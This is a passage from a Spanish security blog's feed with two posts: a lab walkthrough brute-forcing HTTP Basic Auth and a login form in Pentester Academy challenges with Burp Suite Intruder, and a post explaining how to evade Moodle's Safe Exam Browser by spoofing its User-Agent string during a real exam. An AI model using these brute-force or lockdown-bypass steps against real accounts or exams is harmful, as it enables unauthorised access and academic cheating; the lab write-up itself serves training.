&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtI0Pg638h1CzNiAs4waNdPBq36mvTCOMCWMpLisEcDj5_A-YlOkZaoaoAWBELJ-86McKBlkvGk8sIiyLnLRhg7ZeeEKXEyAWlOTbx0MKvZLF7X_DXVEtFboGPesSmK9HfbqnbvhY4e-o/s1600/sucess.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtI0Pg638h1CzNiAs4waNdPBq36mvTCOMCWMpLisEcDj5_A-YlOkZaoaoAWBELJ-86McKBlkvGk8sIiyLnLRhg7ZeeEKXEyAWlOTbx0MKvZLF7X_DXVEtFboGPesSmK9HfbqnbvhY4e-o/s1600/sucess.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h4 class=&quot;media-heading&quot; style=&quot;background-color: white; font-family: &#39;Open Sans&#39;, Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;&quot;&gt;
Challenge 3: HTTP Basic Authentication Attack (Easy)&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En esta ocasión la autenticacion del reto esta basada por el método &lt;b&gt;POST. &lt;/b&gt;A traves de &lt;b&gt;HTTP Basic Authentication.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
lo primero que podemos notar es que las credenciales viajan codificadas, (&lt;b&gt;No Cifradas&lt;/b&gt;)&lt;b&gt;&amp;nbsp;&lt;/b&gt;en&amp;nbsp;&lt;b&gt;Base64,&lt;/b&gt;&amp;nbsp;.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3g-pwk1BIdxDMwuYXI6bWrQzc3u7tbx0JYLlBxl4BAtflh4qudRR4oXJf_bZFQVteHYbWiLggXI2HoZKw7zbkPlbMWq996_C82YxBkiZeO7xfAUfkUxh-40n1nbS_yg11_tEaNMqt10/s1600/capture.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3g-pwk1BIdxDMwuYXI6bWrQzc3u7tbx0JYLlBxl4BAtflh4qudRR4oXJf_bZFQVteHYbWiLggXI2HoZKw7zbkPlbMWq996_C82YxBkiZeO7xfAUfkUxh-40n1nbS_yg11_tEaNMqt10/s1600/capture.png&quot; height=&quot;328&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Enviamos lo captado a &lt;b&gt;intruder&lt;/b&gt;, y dentro seleccionamos el texto y haciendo clic derecho &amp;nbsp;&lt;b&gt;Convert Selection --&amp;gt; Base64 --&amp;gt; Base64 decode.&lt;/b&gt;&amp;nbsp;podemos decodificar el texto y podemos observar lo digitado anteriormente.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7a9FeINedt_7CGYbCNtDbiFOUCtCyo8NbhIl3fJj9z0d82BKDl0SbJUVl90APLriBSXk5Kw5DboYUchuBHql7LsW_uCFF4re6vt_icqJvbKIpbgnIqCxbl2TBm4NIqo-jc2YG1Zig0Qg/s1600/decode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7a9FeINedt_7CGYbCNtDbiFOUCtCyo8NbhIl3fJj9z0d82BKDl0SbJUVl90APLriBSXk5Kw5DboYUchuBHql7LsW_uCFF4re6vt_icqJvbKIpbgnIqCxbl2TBm4NIqo-jc2YG1Zig0Qg/s1600/decode.png&quot; height=&quot;260&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Aun teniendo el texto seleccionado hacemos clic al boton &lt;b&gt;Add$&lt;/b&gt;&amp;nbsp;dado que en esta ocacion tanto la clave como el usuario viajan como un solo texto &lt;b&gt;Observando&lt;/b&gt;&amp;nbsp;: que son divididos por &quot;:&quot;&lt;b&gt;&amp;nbsp;&lt;/b&gt;para su identificación.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Nos dirigimos a &lt;b&gt;Payloads&lt;/b&gt;&amp;nbsp;y configuramos nuestros parámetros de la siguiente manera:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORHPu8eRRkI4P15GSHE8k_ZObMTZ6cRjtHD7LocQLQGUr1epohaU7fkCia7-lT7OEBf-kOU5CJR3WD7QDOdh2KSLy4mOvSG1R0hOepElEZquDlDIqAXNORJAvJUrM2eE6bmUswugf4FI/s1600/config.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiORHPu8eRRkI4P15GSHE8k_ZObMTZ6cRjtHD7LocQLQGUr1epohaU7fkCia7-lT7OEBf-kOU5CJR3WD7QDOdh2KSLy4mOvSG1R0hOepElEZquDlDIqAXNORJAvJUrM2eE6bmUswugf4FI/s1600/config.png&quot; height=&quot;640&quot; width=&quot;551&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Seleccionamos &lt;b&gt;Bruter force&lt;/b&gt;&amp;nbsp;como tipo de ataque nuestra permutaciones que nos dan como pista. Y añadimos como reglas un prefijo &quot;admin:&quot; que seria el usuario con los dos puntos de division de campos. igualmente como vimos que esto viajaba codificado en &lt;b&gt;Base64. &lt;/b&gt;debemos igualmente enviarlo codificado de la misma manera, para eso lo añadiremos como regla de &lt;b&gt;Encode.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Y en &lt;b&gt;Payload Encoding.&lt;/b&gt;&amp;nbsp;quitaremos el símbolo = ya que no es usado por&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://es.wikipedia.org/wiki/Base64&quot; target=&quot;_blank&quot;&gt;Base64&lt;/a&gt;. &lt;/b&gt;Y por ultimo lanzamos nuestro ataque con &lt;b&gt;Burp Suite.&lt;/b&gt;&amp;nbsp;dándonos como resultado lo siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZ2DtK73rjQMqmEctz8SmDTi5vgom2iunxY4T0gt1Xaij_txbpcsdmmRoqn9myvgkBmQ5wsyq-IPcmwo9Njfm6rCTqUQl3FyohTivIGpCXMGuXwWrDSKLrfgArgw46bR6B6Ll9uOoqMA/s1600/success.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZ2DtK73rjQMqmEctz8SmDTi5vgom2iunxY4T0gt1Xaij_txbpcsdmmRoqn9myvgkBmQ5wsyq-IPcmwo9Njfm6rCTqUQl3FyohTivIGpCXMGuXwWrDSKLrfgArgw46bR6B6Ll9uOoqMA/s1600/success.png&quot; height=&quot;258&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Donde nos arroja un &lt;b&gt;Status 200&lt;/b&gt;&amp;nbsp;El cual en &lt;b&gt;HTTP&lt;/b&gt; es un estado de &lt;b&gt;OK. &lt;/b&gt;seleccionamos todo el texto en &lt;b&gt;Authorization Basic, &lt;/b&gt;hacemos clic derecho y lo enviamos a &lt;b&gt;decoder&lt;/b&gt;&amp;nbsp;para decodificarlo en &lt;b&gt;Base64 &lt;/b&gt;y obtener el texto plano.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcoFm4P0Lw_X69HGnJOXIWPVMW1JObORKrA5w4wwPCAoLYcBfQIJR7btCQbisVMpnUeloIWEgVNyY-7Vba-vfV8dEViNCrhX-Nrp80opNMXtNi8BEBpVFI9nK0f_GzUo5pOzWZ6JevAM/s1600/decode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjcoFm4P0Lw_X69HGnJOXIWPVMW1JObORKrA5w4wwPCAoLYcBfQIJR7btCQbisVMpnUeloIWEgVNyY-7Vba-vfV8dEViNCrhX-Nrp80opNMXtNi8BEBpVFI9nK0f_GzUo5pOzWZ6JevAM/s1600/decode.png&quot; height=&quot;216&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Success&lt;/b&gt;, nuestras credenciales de acceso serian &lt;b&gt;admin, aaddd&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h4 class=&quot;media-heading&quot; style=&quot;background-color: white; font-family: &#39;Open Sans&#39;, Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;&quot;&gt;
Challenge 4: Basic Authentication and Form Bruteforcing (Intermediate)&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
En este reto existen dos tipos de autenticacion y tenemos como pista los usuarios nick y admin.&lt;br /&gt;
Para la autenticacion &lt;b&gt;html form&lt;/b&gt; nos encontramos con 5 caracteres y hacen solo uso de los caracteres m,n,o en cuanto a la otra autenticacion contiene los caracteres v,i,e de igual tamaño. ambos en minúscula.&lt;br /&gt;
&lt;br /&gt;
Comenzamos a capturar y lo primero que notamos en la cabecera es que primero se valida el &lt;b&gt;HTTP Basic &lt;/b&gt;y luego &lt;b&gt;HTML Form.&lt;/b&gt;&amp;nbsp;así que el orden a atacar seria primero el &lt;b&gt;HTTP Basic&lt;/b&gt;&amp;nbsp;en &lt;b&gt;Base64&lt;/b&gt;&amp;nbsp;guardar/recordar las credenciales y luego ir por el &lt;b&gt;HTML Form.&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAGEtTRqZPo3ZvMOwuQV-YZ3awJ88DhDWcIgRs5TvsPA1hF64GrCCXRoTXpQF3_U5BbU3XQuwTZ-3v2SkWu4g39aPTXTVvjdGIjfKCDKvbxa4Q1FvCVoYkX3WtcC8ZFVJxDzGkDJ5QXwc/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAGEtTRqZPo3ZvMOwuQV-YZ3awJ88DhDWcIgRs5TvsPA1hF64GrCCXRoTXpQF3_U5BbU3XQuwTZ-3v2SkWu4g39aPTXTVvjdGIjfKCDKvbxa4Q1FvCVoYkX3WtcC8ZFVJxDzGkDJ5QXwc/s1600/1.png&quot; height=&quot;248&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Ya teniendo esta analogía apliquemosla en &lt;b&gt;Burp Suite.&amp;nbsp;&lt;/b&gt;Nos vamos a &lt;b&gt;Payloads&lt;/b&gt;&amp;nbsp;y configuramos nuestro primer ataque para el &lt;b&gt;HTTP Basic. &lt;/b&gt;asi que debemos configurar como en el &lt;b&gt;Challenge 3.&lt;/b&gt;&amp;nbsp;una vez ya configurado efectuamos el ataque.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZCBbnMKsqq5lD6QS25ylb880rqN-gCHs3G3dGvC4G4WlCY6ocnsvdnhtfNZW7HOW0GaLu1m9SHvWCFAfmJuhvgF5giKU3CLm3c8VVMA40ca6AKUKm-eFMD_on2BKgKYF9cpO4TXKsWY/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTZCBbnMKsqq5lD6QS25ylb880rqN-gCHs3G3dGvC4G4WlCY6ocnsvdnhtfNZW7HOW0GaLu1m9SHvWCFAfmJuhvgF5giKU3CLm3c8VVMA40ca6AKUKm-eFMD_on2BKgKYF9cpO4TXKsWY/s1600/2.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
aplicando el decoder &lt;b&gt;Base64&lt;/b&gt; podemos observar que nuestras primeras credenciales son: &lt;b&gt;nick:vivvv&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Una vez ya tengamos nuestras primeras credenciales, las quemamos en la cabecera y proseguimos &amp;nbsp;a por la segunda donde todas nos arrojaran &lt;b&gt;Status&amp;nbsp;200, &lt;/b&gt;debido al &lt;b&gt;OK &lt;/b&gt;de la primera.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK4WuKTEuirzMmnQDFouk0CggPSPRaM2Iqp8Vo7TZGpr7EYr88lTo_G1S3bmeHhQFAfY4zCY85rzW3MH8ZxriWHy8OBNQqtmQCB4s3krXtieLBbZT-IW6RovlGdiYiwk8_D8Q9fBtLU9k/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK4WuKTEuirzMmnQDFouk0CggPSPRaM2Iqp8Vo7TZGpr7EYr88lTo_G1S3bmeHhQFAfY4zCY85rzW3MH8ZxriWHy8OBNQqtmQCB4s3krXtieLBbZT-IW6RovlGdiYiwk8_D8Q9fBtLU9k/s1600/3.png&quot; height=&quot;254&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Efectuamos el ataque y Eureka!&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8cqXgC99WfuBxCBFrRquArPWEnk5R1PIeCIdP7Blxj-P_3yJsMNFAuvQwu8-Xq5tGQergAsBm-itKCIIY5OltxSroU0uI10Eul6BNFGNhKdbwUy6Bl0HXKMqA7Z_VjwYrTJM4Kyy2AEg/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8cqXgC99WfuBxCBFrRquArPWEnk5R1PIeCIdP7Blxj-P_3yJsMNFAuvQwu8-Xq5tGQergAsBm-itKCIIY5OltxSroU0uI10Eul6BNFGNhKdbwUy6Bl0HXKMqA7Z_VjwYrTJM4Kyy2AEg/s1600/4.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Nuestras segundas credenciales son:&lt;br /&gt;
&lt;b&gt;email: admin@pentesteracademy.com&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;password: nnomm&lt;/b&gt;&lt;br /&gt;
como ven nuevamente las identifique por la &lt;b&gt;longitud (length) &lt;/b&gt;debido al estatus &lt;b&gt;OK &lt;/b&gt;de todas. ya con esto hemos pasado todos nuestros &lt;b&gt;Challenge&lt;/b&gt;&amp;nbsp;gratis de pentesteracademy con tan solo una herramienta.&lt;br /&gt;
&lt;br /&gt;
Espero que les haya gustado hasta otra ocasión.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/7982209650071561428/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/pentesting-aplicaciones-web-burp-suite.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7982209650071561428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7982209650071561428'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/pentesting-aplicaciones-web-burp-suite.html' title='Pentesting Aplicaciones Web (Burp suite)'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2gnKrbPobpEDdyZjNm_r-E6zh3Y0qvoAo_MrkGRp2DUJT8aZZF7m9-IzwQAvhyphenhyphenem_j52UpSmi1cism4YMnzvJc_oYOpFEtS0z5BnQBdAQTzcdpO5xsaQnyT6XzJsE3p5vnePBI39_IcI/s72-c/logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-6236729277884174934</id><published>2015-04-21T21:51:00.000-05:00</published><updated>2015-04-21T21:51:01.137-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Moodle"/><category scheme="http://www.blogger.com/atom/ns#" term="Safe Exam Browser"/><title type='text'>Bypass Safe Exam Browser</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://pbs.twimg.com/profile_images/542610317524484096/Dt5nxLua.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://pbs.twimg.com/profile_images/542610317524484096/Dt5nxLua.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hace unos días me encontraba por realizar un examen en una plataforma &lt;b&gt;moodle&lt;/b&gt;&amp;nbsp;cuando entro para realizar el examen me encuentro con un mensaje en &lt;b&gt;moodle &lt;/b&gt;donde me da el aviso que el examen solo podía realizarse en un navegador seguro.. realmente me pareció algo gracioso para un examen para personas con un grado de conocimiento en seguridad de la información.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWne_x-JV6tmPOJ45zg95AbVdZ2FCGQTSE1plwOChzKugmX9L86JrHs-0b0RqMQZC55vhMDfwS_jzDrY0MNRhSto9QUCF8J8si6v_PwzmFgcy1-hv8EE4ZDWpUgneZA5ayG4A5ofyCk4w/s1600/exman1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWne_x-JV6tmPOJ45zg95AbVdZ2FCGQTSE1plwOChzKugmX9L86JrHs-0b0RqMQZC55vhMDfwS_jzDrY0MNRhSto9QUCF8J8si6v_PwzmFgcy1-hv8EE4ZDWpUgneZA5ayG4A5ofyCk4w/s1600/exman1.png&quot; height=&quot;316&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Inmediatamente me pico el bicho de seguridad de conocer sobre ese supuesto navegador seguro y como saltármelo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
el navegador seguro era un modulo de moodle llamado&amp;nbsp;&lt;b&gt;Safe Exam Browser&lt;/b&gt; es un entorno supuestamente seguro donde los estudiantes pueden realizar los examenes con solo una instancia de un navegador al parecer basado en firefox &amp;nbsp;de forma segura. El software cambia cualquier ordenador en un puesto de trabajo seguro. Regula el acceso a los servicios públicos, como funciones del sistema, otros sitios web y las aplicaciones y evita recursos no autorizadas que se utilizan durante un examen y la denegación de pulsaciones de teclas de función y combinaciones.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.safeexambrowser.org/Media/SEB-Architecture_thirdpartyapp_en.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.safeexambrowser.org/Media/SEB-Architecture_thirdpartyapp_en.png&quot; height=&quot;296&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo primero que se me vino a la mente fue descargarlo y abrirlo para ver que era.. ps realmente tomaba &quot;posesion&quot; del sistema y solo daba la impresión de generar un escritorio con la instancia de su navegar y nada mas que un boton de salir.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al ser un navegador fácilmente recordamos que todos usan un &lt;b&gt;User-Agent. &lt;/b&gt;el cual ubico rápidamente en la misma web.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;May 23, 2013&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;New Bugfix Version of SEB Windows 1.9.1 Final Release fixes a bug in the XULRunner browser component. The User Agent String in the &quot;config.json&quot; file has been changed from &lt;b&gt;&quot;SEB&quot; to &quot;Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0 SEB&quot; &lt;/b&gt;because some web pages checked it and complained.&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Simplemente con cambiar el&amp;nbsp;&lt;b&gt;User-Agent. &lt;/b&gt;de tu navegador favorito llámese firefox o chrome podemos ingresar simulando estar en &lt;b&gt;SEB.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
El complemente &lt;b&gt;USer-Agent-Switcher&lt;/b&gt;&amp;nbsp;el cual se encuentra tanto para &lt;b&gt;&lt;a href=&quot;https://addons.mozilla.org/es/firefox/addon/user-agent-switcher/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;firefox &lt;/a&gt;&lt;/b&gt;como para &lt;b&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;chrome&lt;/a&gt;&amp;nbsp;&lt;/b&gt;nos permite cambiar rapidamente el &lt;b&gt;User-Agent&lt;/b&gt;&amp;nbsp;por uno de los ya establecidos o generado como es el caso.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYkhA4QX5cgANesnRWYlso4Sm5TDdrRrAUe0HJLoFC-sfiJYO8NYtZHd7jT4lFKZVukd66GuvlM4HL5-sX_qlYXMQWNKvd-O2OBeCoVdH3l2bhqrSDJW8GlSAQH1cZdMzsx7kkfwAsWg/s1600/user-agent.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVYkhA4QX5cgANesnRWYlso4Sm5TDdrRrAUe0HJLoFC-sfiJYO8NYtZHd7jT4lFKZVukd66GuvlM4HL5-sX_qlYXMQWNKvd-O2OBeCoVdH3l2bhqrSDJW8GlSAQH1cZdMzsx7kkfwAsWg/s1600/user-agent.png&quot; height=&quot;120&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Una vez ingresado el nuevo &lt;b&gt;User-Agent &lt;/b&gt;regreso a la web y así de fácil fue saltar este supuesto modulo de seguridad.&lt;br /&gt;
&lt;br /&gt;
El cual me parece que es una buena idea plantar la honestidad en los alumnos al presentar exámenes pero el desarrollo aun me parece muy crudo para implementarlo en exámenes en alumnos con niveles básicos de informática.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnl8Iw-Lkp3hYrkM4TLHeKTo4nbR4aSeX4qGh0FHdzdc98fk3U3qbQdqdgdU8r1mFv7gPVMu1nUUcNDLzFQiFtPQaqaZsxORwRaECFyF2U_DAiKw9eSV5c6BK16K_yuhhdKar-2oBhkwM/s1600/exam2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnl8Iw-Lkp3hYrkM4TLHeKTo4nbR4aSeX4qGh0FHdzdc98fk3U3qbQdqdgdU8r1mFv7gPVMu1nUUcNDLzFQiFtPQaqaZsxORwRaECFyF2U_DAiKw9eSV5c6BK16K_yuhhdKar-2oBhkwM/s1600/exam2.png&quot; height=&quot;272&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/6236729277884174934/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/bypass-safe-exam-browser.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6236729277884174934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6236729277884174934'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/bypass-safe-exam-browser.html' title='Bypass Safe Exam Browser'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWne_x-JV6tmPOJ45zg95AbVdZ2FCGQTSE1plwOChzKugmX9L86JrHs-0b0RqMQZC55vhMDfwS_jzDrY0MNRhSto9QUCF8J8si6v_PwzmFgcy1-hv8EE4ZDWpUgneZA5ayG4A5ofyCk4w/s72-c/exman1.png" height="72" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-6529233834361130194</id><published>2015-04-15T19:48:00.002-05:00</published><updated>2015-04-15T19:48:48.206-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis forense"/><category scheme="http://www.blogger.com/atom/ns#" term="CEH"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical 